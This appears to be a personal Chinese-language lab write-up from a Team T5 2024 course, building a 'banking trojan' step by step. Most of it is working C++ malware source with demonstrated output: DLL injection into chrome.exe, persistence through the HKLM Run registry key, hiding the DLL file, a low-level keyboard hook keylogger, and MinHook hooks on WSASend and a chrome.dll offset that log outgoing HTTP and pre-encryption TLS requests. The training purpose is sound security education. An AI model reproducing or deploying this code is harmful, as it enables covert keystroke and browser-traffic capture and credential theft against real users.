# Team T5 2024 木馬實作 我的檔案在這個連結: https://drive.google.com/file/d/1vBGgadkXtQxHoQHFXpyz1s_wF8yusyaD/view?usp=sharing 之前一直知道有這個東西,只是今天第一次做,就寫細一點順便當個筆記吧。 ## 1. Loader ### 編譯 dll 先寫個 helloworld 吧 - `testdll.h` ```cpp! #include <iostream> extern "C" __declspec(dllexport) void hello(); ``` - `testdll.cpp` ```cpp! #include "testdll.h" #include <Windows.h> extern "C" __declspec(dllexport) void hello(){ MessageBoxA(0, "Helloworld", "yee", 0); } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { MessageBoxA(0, "yee", "yee", 0); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } ``` - `main.cpp` ```cpp! #include "testdll.h" int main(){ hello(); } ``` 接下來去做編譯和 link ```bash g++ testdll.cpp -o testdll.dll -shared g++ main.cpp -L. -ltestdll -o main.exe ``` 執行時,因為 dll 被載入,所以會彈出一個 yee 的 `MessageBox`,然後呼叫 hello 的時候會彈出 helloworld 的 `MessageBox`。 ### 用 `rundll32` 跑起來 接下來照題目要求,寫一個 `BankingTrojan.cpp` ```cpp! #include<Windows.h> extern "C" __declspec(dllexport) void StartBankingTrojan(){ MessageBoxA(0, "Helloworld", "yee", 0); while(1); } ``` 接下來用 `rundll32` 去跑 ```bash rundll32 .\BankingTrojan.dll,StartBankingTrojan ``` 可以發現他跳出了一個 `MessageBox`,然後我們打開 `Process Explorer`: 看到 `rundll32` 還持續在跑 ![image](https://hackmd.io/_uploads/S1MPD1MGyx.png) 點開後會發現他是我由我們之前那條指令執行的 ![image](https://hackmd.io/_uploads/BJOoP1ffJx.png) ### dll injection 進 chrome.exe 過程中發現在做 dll injeciton 的時候,如果在 `main` 裡面放 `messageBox` 會出事,新開一個 thread 去執行。 接下來講一下 dll injection 的實作,首先進入 `main` 時,我會先去檢查它是不是由 `rundll32` 去執行的,如果是的話就去進行 `injection` ,否則的話就創一個新的線程去彈 `messagebox`。 ```cpp! BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { if(!isRundll32()){ CreateThread(NULL, 0, StartFunction, NULL, 0, NULL); } break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } ``` `isRundll32` 的實作長這樣: ```cpp! extern "C" __declspec(dllexport) bool isRundll32(){ char processName[MAX_PATH] = {0}; if(GetModuleFileNameA(NULL, processName, MAX_PATH)){ std::string processNameStr = processName; if(processNameStr.find("rundll32.exe") != std::string::npos){ return 1; } } return 0; } ``` `StartFunction` 長這樣: ```cpp! DWORD WINAPI StartFunction(LPVOID lpParam){ MessageBoxA(0, "Helloworld", "yee", 0); return 0; } ``` 然後接下來是 `inject` 的實作,這個實作來自於以下網址: https://ithelp.ithome.com.tw/articles/10268768 首先獲得目標 process 的 handle,接下來申請一塊記憶體,把 dll 的名字寫進去。 接下來在目標 process 開一個 thread,並且執行 `kernel32.dll` 中的 `LoadLibraryA`,然後就會把我們的 dll 載入進去(後來去看到要求在不同目錄下執行後我有去做修改,變成會傳入一個路徑,inject 會往指定進程注入那個 dll)。 ```cpp! extern "C" __declspec(dllexport) void inject(DWORD pid){ char dllname[150] = "C:\\Users\\rota1001\\Desktop\\T5Camp_2025_Trojan\\BankingTrojan.dll"; HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); int size = strlen(dllname) + 5; PVOID procdlladdr = VirtualAllocEx(hprocess, NULL, size, MEM_COMMIT, PAGE_READWRITE); if (procdlladdr == NULL) { printf("handle %p VirtualAllocEx failed\n", hprocess); return; } SIZE_T writenum; if (!WriteProcessMemory(hprocess, procdlladdr, dllname, size, &writenum)) { printf("handle %p WriteProcessMemory failed\n", hprocess); return; } FARPROC loadfuncaddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); if (!loadfuncaddr) { printf("handle %p GetProcAddress failed\n", hprocess); return; } HANDLE hthread = CreateRemoteThread(hprocess, NULL, 0, (LPTHREAD_START_ROUTINE)loadfuncaddr, (LPVOID)procdlladdr, 0, NULL); if (!hthread) { printf("handle %p CreateRemoteThread failed\n", hprocess); return; } // MessageBoxA(0, "success", "info", 0); CloseHandle(hthread); CloseHandle(hprocess); return; } ``` 最後是 `StartBankingTrojan`,我設定讓他不斷地去找電腦上名為 `chrome.exe` 而且沒注入過的 process,並且向它注入這個 dll。 ```cpp! extern "C" __declspec(dllexport) void StartBankingTrojan(){ std::set<DWORD> pids; while(1){ HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) { continue; } PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hSnapshot, &pe)) { do { std::string currentProcessName = pe.szExeFile; if(pids.count(pe.th32ProcessID)){ continue; } if (currentProcessName == "chrome.exe") { inject(pe.th32ProcessID); pids.insert(pe.th32ParentProcessID); } } while (Process32Next(hSnapshot, &pe)); } CloseHandle(hSnapshot); } } ``` 於是接下來,我們可以去執行它: ```bash rundll32 .\BankingTrojan.dll,StartBankingTrojan ``` 然後點開 `chrome.exe`,發現跳出了許多 `messageBox` ![image](https://hackmd.io/_uploads/Hk7g6SffJg.png) 在 `Process Explore` 中,可以發現執行 `chrome.exe` 的 process 被注入了 `BankingTrojan.dll` ![image](https://hackmd.io/_uploads/SyRIaBfMJl.png) ## 2. Rookit 這題開始後我簡單的去整理了一下我的檔案結構,大概是長這樣: ``` C:. | Makefile | +---.vscode | settings.json | +---bin | BankingTrojan.dll | +---build | BankingTrojan.o | InjectDll.o | Rookit.o | +---include | BankingTrojan.h | GlobalConfig.h | InjectDll.h | Rookit.h | \---src BankingTrojan.cpp InjectDll.cpp Rookit.cpp ``` ### Persistence 就寫一個這樣的函數將他寫到 `regedit` 裡面去,在用 `rundll32` 去跑的時候執行他。 ```cpp! void AddDllToStartup(char* dll) { std::string dllPath = dll; std::string functionName = "StartBankingTrojan"; std::string value = "BankingTrojan"; std::string command = "rundll32.exe " + dllPath + "," + functionName; HKEY hKey; LONG result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey); if (result != ERROR_SUCCESS) { return; } result = RegSetValueEx(hKey, value.c_str(), 0, REG_SZ, reinterpret_cast<const BYTE*>(command.c_str()), command.size() + 1); if (result != ERROR_SUCCESS) { return; } RegCloseKey(hKey); } ``` 然後可以發現執行起來後,在 `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` 有這個 value ![image](https://hackmd.io/_uploads/HJhdZB7zkl.png) 點開可以發現他的值是執行這個 dll 的命令 ![image](https://hackmd.io/_uploads/SkP2BHQGJx.png) ### 隱藏檔案 接下來要讓 `explorer.exe` 無法看見這個 `dll`,也是寫個函式,把它隱藏起來。 ```cpp! void HideDllFile(char* dllPath){ SetFileAttributes(dllPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); } ``` 可以發現檔案總管中看不到他 ![image](https://hackmd.io/_uploads/Bki9-SXM1e.png) ### keylogger 接下來去側錄鍵盤,然後因為我不希望我輸入一個鍵會被偵測好幾遍,所以我改了一下我在做 `injection` 的地方,變成說他會跑過所有的 process,如果發現沒有 process 被注入的話就去找一個 process 注入。 ```cpp! void injectionLoop(char* dllPath){ while(1){ bool hasdll = 0; HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) { continue; } PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hSnapshot, &pe)) { do { std::string currentProcessName = pe.szExeFile; if (currentProcessName == "chrome.exe" && IsDllLoadedInProcess(pe.th32ProcessID, "BankingTrojan.dll")) { hasdll = 1; } } while (Process32Next(hSnapshot, &pe)); } if(!hasdll && Process32First(hSnapshot, &pe)){ do { std::string currentProcessName = pe.szExeFile; if (currentProcessName == "chrome.exe") { inject(pe.th32ProcessID, dllPath); break; } } while (Process32Next(hSnapshot, &pe)); } CloseHandle(hSnapshot); } } ``` 然後接下來是側錄鍵盤的部分,本來是用一個無窮迴圈,然後遊歷所有的 key 看看每個 key 分別有沒有被按過,但是有些組合的鍵,像是 `shift+9` 會是 `(` 這種東西就判不到 (或是要做比較複雜的判斷)。這種情況我是直接去讓 chatgpt 生一個有加 `shift` 的 key 對應按鍵的表,另外像是一些不是直接由 ascii 碼轉過去的特殊鍵像是 [delete] 之類的,我也是請 chatgpt 去幫我生一個表。另外,按鍵的偵測改成了用 Hook,的方式,當觸發 Hook,而且觸發的原因是 `KEY_UP` 的話,那就會去偵測鍵盤,分別去適合的表裡面找 `vk_code` 對應的值。實作在下面,那兩個表就不放在這裡了。 另外,因為要讓注入在別的進程的 dll 知道那個 txt 檔要放在哪裡,我的作法是用 `share memory` 來實現 `process` 之間的溝通,並且把它包成以下的這個 `getFolder`。 ```cpp! LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { // MessageBoxA(0, "pressed", "info", 0); if (nCode == HC_ACTION && wParam == WM_KEYUP) { KBDLLHOOKSTRUCT* p = (KBDLLHOOKSTRUCT*)lParam; bool shiftPressed = (GetAsyncKeyState(VK_SHIFT) & 0x8000) != 0; std::string key; if(shiftPressed && shiftedKeys.find(p->vkCode) != shiftedKeys.end()){ key = shiftedKeys[p->vkCode]; }else{ key = keyNames[p->vkCode]; } char path[MAX_PATH]; strcpy_s(path, getFolder()); strcat(path, "\\BankingTrojanKeylogger.txt"); std::ofstream logfile(path, std::ios::app); if(key.size() == 0){ }else if(key.size() > 1){ logfile << "[" << key << "]\n"; }else{ logfile << key << "\n"; } logfile.close(); } return CallNextHookEx(hHook, nCode, wParam, lParam); } DWORD WINAPI InstallHook(LPVOID lpParm) { hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0); MSG msg; while(GetMessage(&msg, NULL, 0, 0)){ TranslateMessage(&msg); DispatchMessage(&msg); } UnhookWindowsHookEx(hHook); return 0; } ``` `getFolder`: ```cpp! char* getFolder(){ HANDLE hMapFile = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, "Folder"); char* sharedMemory = (char*)MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, 256); return sharedMemory; } ``` 於是我在鍵盤上輸入以下東西和一些特殊鍵: ``` fjkdfa;lkjheriu23987#(*&$_)_* ``` 然後 `BankingTrojanKeylogger.txt` 就跑出來了 ![image](https://hackmd.io/_uploads/S1_7_h_zkg.png) ## 3.Hack Chrome ### 攔截 http request 這個 Hook 的實作是參考 `Hook 的奇妙冒險 - Ring3 Hook` 這篇文章。 我是去使用 `MinHook`,至於那個只能使用一個 `dll` 的條件我是做完才看到,於是我就直接把那整個專案的原始碼和我的融合,變成編出一個 `MinHook` 的 object file 而非 dll。 接下來,要去看看要 Hook 哪個函數。本來因為看到有 `winhttp.dll`,以為他是用 `WinHttpSendRequest` 去送 request,但 Hook 後發現沒用,於是我打開 `API monitor` ,送一個 request 出去: ![image](https://hackmd.io/_uploads/Hyb7TQoz1l.png) 發現了他使用了 `Ws2_32.dll` 中的 `WSASend`,於是我去 Hook 這個函數。 `HackingChrome.h` : ```cpp! #include<winsock2.h> #include<Windows.h> #include<stdio.h> #include"MinHook.h" #include<fstream> // WSASend typedef int (WINAPI* WSASEND)( SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine ); int WINAPI DetourWSASend( SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine ); typedef struct WSASendParams{ SOCKET s; LPWSABUF lpBuffers; DWORD dwBufferCount; LPDWORD lpNumberOfBytesSent; DWORD dwFlags; LPWSAOVERLAPPED lpOverlapped; LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine; }WSASendParams; void HookWSASend(); ``` `HackingChrome.cpp` : ```cpp! #include"HackingChrome.h" void HookFunction(void* origional, void* detour, void** old){ if(MH_Initialize() != MH_OK){ MessageBoxA(0, "fail1", "info", 0); return; } if(MH_CreateHook(origional, detour, old) != MH_OK){ MessageBoxA(0, "fail2", "info", 0); return; } if(MH_EnableHook(origional) != MH_OK){ MessageBoxA(0, "fail3", "info", 0); return; } //MessageBoxA(0, "success", "info", 0); } int WINAPI DetourWSASend( SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine ){ WSASendParams* params = new WSASendParams; *params = (WSASendParams){s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine}; if(params->dwBufferCount > 0 && params->lpBuffers[0].len > 0 && strncmp(params->lpBuffers[0].buf, "GET ", 4) == 0){ char path[MAX_PATH]; strcpy_s(path, getFolder()); strcat(path, "\\BankingTrojanChromeMitmHttp.txt"); std::ofstream logfile(path, std::ios::app); for(int i = 0; i < params->dwBufferCount; i++){ const char* buffer = params->lpBuffers[i].buf; for(int j = 0; j < params->lpBuffers[i].len; j++){ logfile << buffer[j]; } } logfile.close(); } // MessageBoxA(0, "hooked", "info", 0); return fpWSASend(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine); } void HookWSASend(){ HMODULE hWinsock2 = GetModuleHandle("Ws2_32.dll"); while(!hWinsock2){ hWinsock2 = GetModuleHandle("Ws2_32.dll"); } void* pWSASend = (void*)GetProcAddress(hWinsock2, "WSASend"); if(!pWSASend){ MessageBoxA(0, "Failed to locate Send", "Error", MB_OK); return; } HookFunction(reinterpret_cast<void*>(pWSASend), reinterpret_cast<void*>(&DetourWSASend), reinterpret_cast<void**>(&fpWSASend)); } ``` 於是我用以下指令架一個 `http server` : ```bash python -m http.server ``` 然後執行 `dll` ```bash rundll32 .\bin\BankingTrojan.dll,StartBankingTrojan ``` 接下來打開 `chrome` 去訪問 `127.0.0.1:8000`,會發現多了 `BankingTrojanChromeMitmHttp.txt` 這個檔案。 ![image](https://hackmd.io/_uploads/B1MbR4ozyl.png) 然後看他的內容會發現發出去的 http request 會放在這裡: ```! GET / HTTP/1.1 Host: 127.0.0.1:8000 Connection: keep-alive sec-ch-ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Sec-Purpose: prefetch;prerender Purpose: prefetch Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7 GET /favicon.ico HTTP/1.1 Host: 127.0.0.1:8000 Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 sec-ch-ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: http://127.0.0.1:8000/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7 ``` ### 攔截 Http 1.1 over TLS requests 這題由於時間的關係我沒有完成,就寫一下我大致的進度 首先我在 `API monitor` 看不出什麼東西來,於是我進去 `x64dbg` 開始動態分析 由於他還是會用到 `WSASend` 去傳訊息,於是我在那裡下斷點,然後看哪裡呼叫到他,回溯回去,然後我就看到沒有加密前的東西 ![image](https://hackmd.io/_uploads/HyJQ7CjGJx.png) 然後我去下一個 hook 在這裡,確實能拿到 `get` 的請求內容和 `post` 的網址 ```cpp! HTTPFP fpHttp = NULL; __int64 __fastcall DetourHTTP(__int64 a1, __int128 *a2, __int64 a3, char a4){ char path[MAX_PATH]; strcpy_s(path, getFolder()); strcat(path, "\\BankingTrojanChromeMitmHttp.txt"); std::ofstream logfile(path, std::ios::app); logfile << *(char**)a2 << "\n"; logfile << *(char**)a3 << "\n"; logfile.close(); return fpHttp(a1, a2, a3, a4); } void HookHTTP(){ HMODULE hchrome = GetModuleHandle("chrome.dll"); while(!hchrome){ hchrome = GetModuleHandle("chrome.dll"); } uintptr_t base = (uintptr_t)hchrome; void* pHttp = (void*)(base + 0xAEC590); char buf[100]; HookFunction(reinterpret_cast<void*>(pHttp), reinterpret_cast<void*>(&DetourHTTP), reinterpret_cast<void**>(&fpHttp)); } ``` ```! GET https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=129 GET https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=129 POST https://chrome.cloudflare-dns.com/dns-query GET https://dns.google/dns-query?dns=AAABAAABAAAAAAABA3d3dwdnc3RhdGljA2NvbQAAAQABAAApEAAAAAAAAFQADABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA GET https://dns.google/dns-query?dns=AAABAAABAAAAAAABA3d3dwdnc3RhdGljA2NvbQAAAQABAAApEAAAAAAAAFQADABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA GET https://dns.google/dns-query?dns=AAABAAABAAAAAAABA3d3dwdnc3RhdGljA2NvbQAAAQABAAApEAAAAAAAAFQADABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA POST https://chrome.cloudflare-dns.com/dns-query GET https://dns.google/dns-query?dns=AAABAAABAAAAAAABA3d3dwdnc3RhdGljA2NvbQAAAQABAAApEAAAAAAAAFQADABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA GET https://dns.google/dns-query?dns=AAABAAABAAAAAAABA3d3dwdnc3RhdGljA2NvbQAAAQABAAApEAAAAAAAAFQADABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA GET https://dns.google/dns-query?dns=AAABAAABAAAAAAABA3d3dwdnc3RhdGljA2NvbQAAAQABAAApEAAAAAAAAFQADABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA POST https://chrome.cloudflare-dns.com/dns-query POST https://chrome.cloudflare-dns.com/dns-query GET https://dns.google/dns-query?dns=AAABAAABAAAAAAABA3d3dwdnc3RhdGljA2NvbQAAAQABAAApEAAAAAAAAFQADABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ``` 另外,在下面其實也有看到封包的 `Header` 部分,只是我沒有去把他們蒐集起來: ![image](https://hackmd.io/_uploads/rJ5gVAjf1x.png)